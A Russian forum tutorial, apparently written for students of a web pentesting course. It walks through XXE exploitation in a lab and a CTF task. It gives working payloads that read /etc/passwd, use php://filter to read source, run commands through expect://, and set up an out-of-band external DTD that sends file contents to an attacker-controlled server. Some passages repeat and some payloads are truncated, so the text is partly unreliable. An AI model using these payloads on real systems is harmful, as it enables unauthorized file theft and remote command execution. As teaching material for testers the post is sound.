Привет уважаемые форумчане!
Перед тем, как мы начнем рассматривать очень интересную и сложную тему, мне бы хотелось сказать несколько слов. Меня можно поздравить, я перестал быть куратором курса WAPT. Буду теперь помогать студентам посредством написания статей и других бесполезных опусов, которые, надеюсь помогут им в освоении материала курса. В ходе учебы кураторы периодически снабжают учеников дополнительной литературой или ссылками на полезные источники. Часто они разрозненные, противоречивые и что самое ужасное - на басурманском языке, где ничего не понятно. Вот я и решил все, что написано на этих ресурсах испытывать на практике на нашей лаборатории и делится этими исследованиями. Вполне возможно, я собираюсь заниматься х@#%&й, но даже если и так, это в любой момент можно бросить и просто отдыхать. А вдруг кому-то пригодится! Теперь перейду непосредственно к теме статьи.
XXE
Когда я проходил курс WAPT, эта тема оставила неизгладимый отпечаток на моем сознании и стоило приличного количества волос, выдранных из ж0#@, ну в общем вы поняли. Эта тема стала одной из тех, которые вызвали наибольшее количество боли и уничтожила большое количество нервных клеток. Попробуем сегодня вместе на простом примере разобраться с этим типом уязвимости.
XML External Entity (XXE) – это тип атаки, использующий уязвимости в анализаторах XML. При атаке XXE можно внедрить специально созданный XML-контент в приложение, которое его обрабатывает. XXE позволяет определять объекты на основе содержимого URL-адреса или пути к файлу. Когда сервер считывает внедренную нагрузку XML, он анализирует внешний объект, объединяет его с окончательным документом и возвращает его пользователю с конфиденциальными данными внутри.
Как правило к XXE уязвимы приложения без надлежащей валидации входных данных, а также без отключенной обработки внешних сущностей в синтаксическом анализаторе XML. Однако многие XML парсеры уже имеют защиту от XXE атак.
XML External Entity (XXE) – это тип атаки, использующий уязвимости в анализаторах XML. При атаке XXE можно внедрить специально созданный XML-контент в приложение, которое его обрабатывает. XXE позволяет определять объекты на основе содержимого URL-адреса или пути к файлу. Когда сервер считывает внедренную нагрузку XML, он анализирует внешний объект, объединяет его с окончательным документом и возвращает его пользователю с конфиденциальными данными внутри.
Как правило к XXE уязвимы приложения без надлежащей валидации входных данных, а также без отключенной обработки внешних сущностей в синтаксическом анализаторе XML. Однако многие XML парсеры уже имеют защиту от XXE атак.
ТИПЫ XXE
XXE атаки делятся на типы по принципу того, какой способ используется для доставки полезной нагрузки и какой импакт это несет атака при тестировании на проникновение. Существует 6 типов XXE атак:
1. Извлечение файлов – самое банальное применение, при котором мы можем извлекать файлы с целевого сервера
2. SSRF-Атаки – использование XXE-атак для выполнения атак типа SSRF(Server-Side Request Forgery)
3. Blind XXE – атака, при которой атакующий не получает ответ от сервера, с помощью которого можно понять уязвимо ли приложение к XXE-атакам
4. Инъекция через File Upload – атака, при которой атакующий загружает файл, содержащий XML компоненты
5. Billion Laughs – атака типа denial-of-service (DoS)
6. XInclude – атака с внедрением полезной нагрузки в оператор XInclude
Мы не будем рассматривать все эти варианты, пощупаем только то, что нам пригодится при решении практических задач на курсе, да и то не всех, а иначе это будет неинтересно.
Перейдем к практике. Мы имеем сайт, на котором написано, что он ждет XML.
1. Извлечение файлов – самое банальное применение, при котором мы можем извлекать файлы с целевого сервера
2. SSRF-Атаки – использование XXE-атак для выполнения атак типа SSRF(Server-Side Request Forgery)
3. Blind XXE – атака, при которой атакующий не получает ответ от сервера, с помощью которого можно понять уязвимо ли приложение к XXE-атакам
4. Инъекция через File Upload – атака, при которой атакующий загружает файл, содержащий XML компоненты
5. Billion Laughs – атака типа denial-of-service (DoS)
6. XInclude – атака с внедрением полезной нагрузки в оператор XInclude
Мы не будем рассматривать все эти варианты, пощупаем только то, что нам пригодится при решении практических задач на курсе, да и то не всех, а иначе это будет неинтересно.
Перейдем к практике. Мы имеем сайт, на котором написано, что он ждет XML.
Изучим запрос к этому серверу. Запускаем Burp Suite и обновляем страницу, после чего смотрим перехваченный запрос.
Не видим ничего такого, что напоминало бы нам формат XML. Ничего удивительного, XML разметка отправляется методом POST. Меняем метод запроса, для чего загоняем его в Repiter и в меню выбираем Change request method
Теперь наш запрос имеет нужный метод, отправляем его
Упс! Приложение начинает наглеть и требует нужный тег. Ну и как нам его найти? Тот, кто обучается на курсе может посмотреть видео к уроку и написать несложный скрипт на Python, который сгенерирует нужную нагрузку, благодаря которой мы вычислим нужный тег. Но мы сегодня рассмотрим самый простой способ – фаззинг.
Отправляем наш запрос в Intruder. И добавляем в наш запрос следующую разметку:
<?xml version="1.0"?>
<§§>XXE</§§>
В качестве типа атаки выбираем Pitchfork, а в качестве словарей наш любимый directory-list-2.3-medium. Запускаем атаку и видим чудо. Надпись XXE прописалась в теге title. Значит через него и будем выводить нужную нам информацию.
Отправляем наш запрос в Intruder. И добавляем в наш запрос следующую разметку:
<?xml version="1.0"?>
<§§>XXE</§§>
В качестве типа атаки выбираем Pitchfork, а в качестве словарей наш любимый directory-list-2.3-medium. Запускаем атаку и видим чудо. Надпись XXE прописалась в теге title. Значит через него и будем выводить нужную нам информацию.
Чтение файлов
Для начала попробуем вывести один из системных файлов, например, /etc/passwd. Для этого создадим сущность title и делаем так, чтобы она вернула нам значение файла:
<!DOCTYPE test [<!ENTITY title SYSTEM "file:///etc/passwd">]>
<title>&title;</title>
<!DOCTYPE test [<!ENTITY title SYSTEM "file:///etc/passwd">]>
<title>&title;</title>
Класс!
Теперь хочу обратить ваше внимание на использование враппера file://. В принципе, в данном случае, мы могли его вообще не использовать и результат бы не поменялся:
В некоторых случаях он необходим. Не нужно забывать, что в этом случае нам нужно задать абсолютный путь. Без враппера файл будет открываться из текущей директории.
Без враппера
С враппером, без указания пути (Ничего нет)
С враппером, с указанием пути
Чтение файлов PHP
Если у нас есть нужда прочитать файл php, то здесь придется действовать несколько по-другому. Так как в коде php будет много всяких пробелов, тегов, переносов строк и прочей лабуды, мы не сможет прочитать его так, как рассмотрели выше. Например, файл index.php.
Поэтому воспользуемся враппером php://
php://filter/read=convert.base64-encode/resource=index.php
Здесь мы конвертируем содержимое файла в base64 и потом спокойно его раскодируем:
RCE
Выполнение удаленных команд осуществляется при помощи враппера expect://
Для демонстрации этого примера воспользуемся одной из задач с платформы codeby.games.
Как показано на скрине, команда id успешно выполнилась.
Для демонстрации этого примера воспользуемся одной из задач с платформы codeby.games.
Как показано на скрине, команда id успешно выполнилась.
Out-of-band
Бывают ситуации, когда XXE есть, а ответа мы никакого не получаем. Допустим в нашем примере нет никакого ответа от сервера, но мы догадываемся, что уязвимость присутствует. Это может говорить о том, что присутствует слепая XXE.
Вот пример того, как Out-of-band можно использовать для обнаружения слепых XXE-атак:
Предположим, что атакующий отправляет XML-файл, содержащий ссылку внешней сущности на контролируемый им URL, следующим образом:
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "
<title>&title;</title>
Здесь мы можем видеть, что мы не получаем никаких данных, но нам это и не нужно. Наша задача понять, что XXE-атака сработала, именно для этого мы ссылаемся на наш внешний сервер.
Если XXE-атака удалась, наш сервер получит отстук в виде GET запроса.
Для подобных целей нам не обязательно поднимать свой сервер, мы можем использовать Burp Collaborator, специальный инструмент Burp Suite, который нужен для отлова подобных слепых атак.
Сгенерируем ссылку в Burp Collaborator, вставим ее вместо
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "
<title>&title;</title>
При отправке измененного запроса на сервер, тот начнет стучаться в наш Collaborator, в результате чего получаем отбивку о том, что запрос был, а значит XXE-атака сработала:
Вот пример того, как Out-of-band можно использовать для обнаружения слепых XXE-атак:
Предположим, что атакующий отправляет XML-файл, содержащий ссылку внешней сущности на контролируемый им URL, следующим образом:
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "
Ссылка скрыта от гостей
">]><title>&title;</title>
Здесь мы можем видеть, что мы не получаем никаких данных, но нам это и не нужно. Наша задача понять, что XXE-атака сработала, именно для этого мы ссылаемся на наш внешний сервер.
Если XXE-атака удалась, наш сервер получит отстук в виде GET запроса.
Для подобных целей нам не обязательно поднимать свой сервер, мы можем использовать Burp Collaborator, специальный инструмент Burp Suite, который нужен для отлова подобных слепых атак.
Сгенерируем ссылку в Burp Collaborator, вставим ее вместо
Ссылка скрыта от гостей
, у нас получится следующее:<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY title SYSTEM "
Ссылка скрыта от гостей
">]><title>&title;</title>
При отправке измененного запроса на сервер, тот начнет стучаться в наш Collaborator, в результате чего получаем отбивку о том, что запрос был, а значит XXE-атака сработала:
Запросы прошли, значит XXE сработала
Пробуем прочитать файл. Создаем файл xxe.dtd куда прописываем следующий код
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % getdata SYSTEM '
Ссылка скрыта от гостей
'>">%eval;
%getdata;
А в запросе такую нагрузку
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "
Ссылка скрыта от гостей
"> %xxe;]>
Как видим, файл мы прочитали.Ну вот в общем-то и все. До новых встреч!!!
Последнее редактирование: